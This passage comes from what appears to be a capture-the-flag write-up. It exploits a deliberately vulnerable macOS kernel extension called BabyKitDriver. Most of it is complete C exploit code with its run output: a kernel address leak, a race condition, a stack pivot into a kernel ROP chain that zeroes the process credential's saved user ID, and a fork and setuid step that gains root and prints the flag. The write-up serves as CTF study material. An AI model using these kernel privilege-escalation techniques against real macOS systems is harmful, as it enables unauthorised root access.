  // *chain++ = mov_qword_rcx_rax_pop_rbp;
  // *chain++ = 0x4141414141414141;
  
  // rax still contains the ucred (returned from proc_ucred)
  // Set rsi to ucred
  *chain++ = mov_rsi_rax_spoil_rax_pop_rbp_ret;
  *chain++ = 0x4141414141414141;

  // Set rdi
  *chain++ = pop_rdi;
  *chain++ = 7;   // ZONE_ID_KAUTH_CRED

  // Set rdx
  *chain++ = pop_rdx;
  *chain++ = 0x20;

  // Set rcx
  *chain++ = pop_rcx;
  *chain++ = 0x34;    // ZRO_ATOMIC_AND_32

  // Set r8
  *chain++ = pop_r8_eax_spoil;
  *chain++ = 0;
  
  // Call pmap_ro_zone_atomic_op
  *chain++ = pmap_ro_zone_atomic_op;
  
  // Return to userland
  *chain++ = thread_exception_return;

  // Store ROPChain in heap chunk
  // &ropChain[0x8] because ropChain is used by leave_message(0) as well, which
  // write starting from chunk+0x8. And leave_message(1) write starting from chunk+0x10,
  // so, to make the stored ROPChain consistent, we need to send input+0x8 for leave_message(1)
  leave_message(1, &ropChain[0x8], 0x200);

  /*
    Trigger Race Condition:
    - Create a new thread which will call leave_message(0, ropChain, 0x100);
    - In the mainthread, keep calling leave_message(1, ropChain+0x8, 0x200);
    - Race is success if:
      - chunk+0x98 is set to 1
      - yet, the chunk+0x8 is not output2, but the gadget that we write via leave_message(0) in the other thread
  */
  pthread_t th;
  pthread_create(&th, NULL, race, NULL);

  char test[0x100];
  memset(test, 0, sizeof(test));
  for (int i = 0; i < loop_end; i++) {
    leave_message(1, &ropChain[0x8], 0x200);
    baby_read(test, 0x100);
  }
  return 0;
}

Let’s try to run this code.

This code was still crashing. We can inspect what caused the crash by clicking Report to Apple. Below is the error that caused the panic.

We couldn’t return to userland because the current_thread()->rwlock_count isn’t 0, so we just need to overwrite this to 0 by updating our ROP Chain just before calling the thread_exception_return.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
...
  // Call pmap_ro_zone_atomic_op
  *chain++ = pmap_ro_zone_atomic_op;

  // Overwrite rwlock_count to 0
  *chain++ = current_thread;
  *chain++ = mov_rsi_rax_spoil_rax_pop_rbp_ret;
  *chain++ = 0x4141414141414141;
  *chain++ = pop_rcx;
  *chain++ = 0x44C; // offset for rwlock_count
  *chain++ = add_rsi_rcx_mov_rax_rsi_pop_rbp; // Points rsi to rwlock_count
  *chain++ = 0x4141414141414141;
  *chain++ = pop_r8_eax_spoil;
  *chain++ = 0;
  *chain++ = mov_dword_ptr_rsi_r8d_pop_rbp;
  *chain++ = 0x4141414141414141;
  
  // Return to userland
  *chain++ = thread_exception_return;
...

Now that we’ve updated the ROP Chain, let’s try to compile and run the updated code again.

1
2
3
4
5
6
chovid99@Chovid99s-iMac-Pro ~ % ./exploit
[*] Kext Base       : 0xffffff7fa9fa4000
[*] Kernel Text Base: 0xffffff8012fdc000
[*] Kernel Slide    : 0x12edc000
zsh: killed     ./exploit
chovid99@Chovid99s-iMac-Pro ~ % 

It isn’t crashing, but it killed the process just after we return to the userland. To overcome this, my teammate sampriti told me that we can actually use a fork() start in the beginning, so that the parent and child will have shared credentials. Using his idea, we can tweak the exploit by:

  • Calling fork() in the beginning of our exploit.
    • Child process do the exploit above, so that it will overwrite the shared credentials svuid to 0.
    • Parent process sleep() first, with hope that after the sleep is finished, the child process (which is killed) already overwrite the shared cred->svuid to 0, so that parent process can read the flag in /flag directory.

Below is the final code that works smoothly:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <sched.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
#include <mach/mach.h>
#define kBabyRead 	    0
#define kLeaveMessage 	1
#define kIOKitClassName "BabyKitDriver"
#define KERNEL_BASE_NO_SLID 0xFFFFFF8000100000ULL

uint64_t kbase, slide;
io_connect_t connection;
char ropChain[0x200];
int loop_end = 100000;

// Gadgets
#define push_rcx_jmp_qword_ptr_rsi_plus_0x66 slide+0xffffff8000a984e1 // push rcx ; out dx, eax ; jmp qword ptr [rsi + 0x66]
#define pop_rcx slide+0xffffff800034fb88
#define mov_rdi_rax_pop_rbp_jmp_rcx slide+0xffffff8000364001
#define ret slide+0xffffff8000335311
#define pop_r14_r15 slide+0xffffff8000352176
#define pop_rsp_r13_r14_r15 slide+0xffffff8000352173
#define mov_qword_rcx_rax_pop_rbp slide+0xffffff800037a86e // mov qword ptr [rcx], rax ; pop rbp ; ret
#define mov_rsi_rax_spoil_rax_pop_rbp_ret 0xffffff8000536392+slide  // mov rsi, rax ; sub rax, rsi ; pop rbp ; ret
#define pop_rdi 0xFFFFFF8000334E74+slide
#define pop_rdx 0xFFFFFF80006FF654+slide
#define pop_r8_eax_spoil 0xffffff80004db621+slide  // pop r8 ; add eax, 0x5d000000 ; ret
#define add_rsi_rcx_mov_rax_rsi_pop_rbp 0xffffff80009ce25d+slide // 0xffffff80009ce25d : add rsi, rcx ; mov rax, rsi ; pop rbp ; ret
#define mov_dword_ptr_rsi_r8d_pop_rbp 0xffffff8000474e08+slide// 0xffffff8000474e08 : mov dword ptr [rsi], r8d ; pop rbp ; ret

// Existing kernel functions
#define current_thread slide+0xFFFFFF80004D1ED0
#define current_proc slide+0xFFFFFF8000989860
#define proc_ucred slide+0xFFFFFF80008556B0
#define pmap_ro_zone_atomic_op slide+0xFFFFFF80004B0410
#define thread_exception_return slide+0xFFFFFF8000334DCA

// Debugging purposes
#define debug_gadget 0xffffff800033620a+slide
#define addr_save_loc 0xFFFFFF8000C18000+slide
#define eb_fe 0xFFFFFF800037E726+slide

// Helper method during debugging
void print_data(char *buf, size_t len) {
  puts("-----");
  for (int i = 0; i < len; i += 8) {
    char* fmt_str;
    if ((i / 8) % 2 == 0) {
      fmt_str = "0x%04x: 0x%016lx";
      printf(fmt_str, i, *(unsigned long*)&buf[i]);
    } else {
      fmt_str = " 0x%016lx\n";
      printf(fmt_str, *(unsigned long*)&buf[i]);
    }
  }
  puts("-----");
}

uint64_t GetKextAddr() {
	FILE *fp;
	char line[4096];

	fp = popen("kextstat 2>/dev/null | grep BabyKitDriver | awk '{print $3}'","r");
	if(fp == NULL) {
		printf("Failed to get KEXT address!\n");
		exit(-1);
	}
	fgets(line, sizeof(line)-1, fp);
	uint64_t addr = (uint64_t) strtoul(line, NULL, 16);
	fclose(fp);
	return addr;
}

void baby_read(void *buf, unsigned long size) {
  unsigned long args[2] = { (unsigned long)buf, size };
  IOConnectCallScalarMethod(connection,kBabyRead,(const uint64_t*)args,2,0,0);
}

void leave_message(unsigned long msg_type, void *buf, unsigned long size) {
  unsigned long args[3] = { msg_type, (unsigned long)buf, size };
  IOConnectCallScalarMethod(connection,kLeaveMessage,(const uint64_t*)args,3,0,0);
}

void babyKitConnect(io_connect_t *connection) {
	kern_return_t   kr;
	io_service_t    serviceObject;
	io_iterator_t   iterator;
	CFDictionaryRef classToMatch;

	classToMatch = IOServiceMatching(kIOKitClassName);
	if (classToMatch == NULL) {
		printf("IOServiceMatching returned a NULL dictionary\n");
		exit(-1);
	}

	serviceObject = IOServiceGetMatchingService(kIOMainPortDefault, classToMatch);
	if (!MACH_PORT_VALID(serviceObject)) {
		printf("IOServiceGetMatchingService failed\n");
		exit(-1);
	}

	kr = IOServiceOpen(serviceObject, mach_task_self(), 0, connection);
	IOObjectRelease(serviceObject);
	if (kr != KERN_SUCCESS) {
		printf("IOServiceOpen returned %d\n", kr);
		exit(-1);
	}
}

void* race() {
  for (int i = 0; i < loop_end; i++) {
    leave_message(0, ropChain, 0x100);
  }
  return NULL;
}

int main() {
  /*
    Without fork, when we return from the kernel to userland, it will killed
    the process. We need to fork() first in the beginning, so that parent and child
    have shared cred.
    - Child process will do the exploit, which will overwrite the cr_svuid to 0 (which will be killed).
    - Parent process will sleep first, waiting until the child process overwrite the shared cred struct svuid to 0,
      then do seteuid(0), setuid(0), setgid(0) so that it will become root.
  */
  if (fork() == 0) {
    /*
      Setup connection
    */
    babyKitConnect(&connection);

    /*
      Get leak with the first bug (setting size to 0 will trigger OOB read)
    */
    char buf[0x1000];
    memset(buf, 0x41, sizeof(buf));
    leave_message(1, buf, 0x200);
    memset(buf, 0x0, sizeof(buf));
    baby_read(buf, 0);
    uint64_t leaked = *(unsigned long*)&buf[0x318];
    uint64_t kext_base = leaked - 0x1808;
    slide = kext_base - GetKextAddr() + 0xdc000;
    kbase = KERNEL_BASE_NO_SLID + slide;
    printf("[*] Kext Base       : 0x%llx\n", kext_base);
    printf("[*] Kernel Text Base: 0x%llx\n", kbase);
    printf("[*] Kernel Slide    : 0x%llx\n", slide);
    // getchar();

    /*
      Build our ROP Chain
    */
    uint64_t* chain;
    
    chain = (uint64_t*)&ropChain[0x0];

    // Start at chunk+0x8 in driver. When the race is triggered,
    // chunk+0x8 will be called, which will pivot the stack to this
    // chunk and do ROP Chain.
    *chain++ = push_rcx_jmp_qword_ptr_rsi_plus_0x66; // rsi+0x66 will contains gadget to pivot stack to this heap chunk
    *chain++ = 0x0; // chunk+0x10 won't be used

    // Our ROP will start here after stack pivot with pop rsp; pop r13; pop r14; pop r15;
    // , where popped rsp value will be chunk+0x0, so the ROP chain will start at chunk+0x18
    //
    // We will try to perform
    // pmap_ro_zone_atomic_op(ZONE_ID_KAUTH_CRED, proc_ucred(current_proc()), 0x20, ZRO_ATOMIC_AND_32, 0);
    // , which will update the cred->cr_svuid
    *chain++ = current_proc;
    *chain++ = pop_rcx;
    *chain++ = proc_ucred;
    *chain++ = mov_rdi_rax_pop_rbp_jmp_rcx;
    *chain++ = 0x4141414141414141;

    // We will continue the ROP Chain at 0x80 just for convenience
    *chain++ = ret;
    *chain++ = ret;
    *chain++ = ret;
    *chain++ = ret;
    *chain++ = ret;

    // Need to do this because:
    // - rsi points to chunk+0x10
    // - there will be jmp qword ptr [rsi+0x66], which mean we need to put
    //   gadget in chunk+0x76 
    // So what we do here is we reserve 0x10 bytes starting from chunk+0x70
    *chain++ = pop_r14_r15;
    *chain++ = 0x4141414141414141;
    *chain++ = 0x4141414141414141;
    // Overwrite chunk+0x76 to pivot stack gadget
    uint64_t* chunk_0x76 = (uint64_t*)&ropChain[0x76 - 8];
    *chunk_0x76 = pop_rsp_r13_r14_r15;

    // Continue ROPChain
    // // Debugging purposes
    // *chain++ = pop_rcx;
    // *chain++ = addr_save_loc;
    // *chain++ = mov_qword_rcx_rax_pop_rbp;
    // *chain++ = 0x4141414141414141;
    
    // rax still contains the ucred (returned from proc_ucred)
    // Set rsi to ucred
    *chain++ = mov_rsi_rax_spoil_rax_pop_rbp_ret;
    *chain++ = 0x4141414141414141;

    // Set rdi
    *chain++ = pop_rdi;
    *chain++ = 7;   // ZONE_ID_KAUTH_CRED

    // Set rdx
    *chain++ = pop_rdx;
    *chain++ = 0x20;

    // Set rcx
    *chain++ = pop_rcx;
    *chain++ = 0x34;    // ZRO_ATOMIC_AND_32

    // Set r8
    *chain++ = pop_r8_eax_spoil;
    *chain++ = 0;
    
    // Call pmap_ro_zone_atomic_op
    *chain++ = pmap_ro_zone_atomic_op;
    
    // // Debugging purposes
    // *chain++ = eb_fe;

    // Now, during working on this challenge, we found out that we
    // couldn't return to userland because there is panic due to rwlock_count is 1.
    // We will overwrite it to 0 before return to userland.
    *chain++ = current_thread;
    *chain++ = mov_rsi_rax_spoil_rax_pop_rbp_ret;
    *chain++ = 0x4141414141414141;

    *chain++ = pop_rcx;
    *chain++ = 0x44C;   // offset for rwlock_count
    
    // Points rsi to rwlock_count
    *chain++ = add_rsi_rcx_mov_rax_rsi_pop_rbp;
    *chain++ = 0x4141414141414141;

    *chain++ = pop_r8_eax_spoil;
    *chain++ = 0;

    // Overwrite rwlock_count to 0
    *chain++ = mov_dword_ptr_rsi_r8d_pop_rbp;
    *chain++ = 0x4141414141414141;
    
    // Return to userland
    *chain++ = thread_exception_return;
  
    // Store ROPChain in heap chunk
    leave_message(1, &ropChain[0x8], 0x200);


    /*
      Trigger Race Condition:
      - Create a new thread which will call leave_message(0, ropChain, 0x100);
      - In the mainthread, keep calling leave_message(1, ropChain+0x8, 0x200);
      - Race is success if:
        - chunk+0x98 is set to 1
        - yet, the chunk+0x8 is not output2, but the gadget that we write via leave_message(0) in the other thread
    */
    pthread_t th;
    pthread_create(&th, NULL, race, NULL);

    char test[0x100];
    memset(test, 0, sizeof(test));
    for (int i = 0; i < loop_end; i++) {
      leave_message(1, &ropChain[0x8], 0x200);

      // Race will be triggered in baby_read
      // If it is triggered, the shared cred between this child process and parent process
      // will have svuid set to 0, and the parent can become a root.
      baby_read(test, 0x100);
    }
    puts("Out...");
    sleep(100000);
    return 0;
  } else {
    // Parent process, will sleep first to wait the child overwriting the shared cred
    sleep(2);
    puts("Sleep...");
    sleep(2);
    char buf[0x100];
    memset(buf, 0, sizeof(buf));
    while (1) {
      // setuid and cat /flag
      seteuid(0);
      setuid(0);
      setgid(0);
      if (getuid() == 0) {
        printf("WIN\n");
        system("cat /flag");
        break;
      }
    }
    puts("Here...");
  }
  return 0;
}

Flag: flag{7ac21f7848a39f0aea63fa29d304226a}

Social Media

Follow me on twitter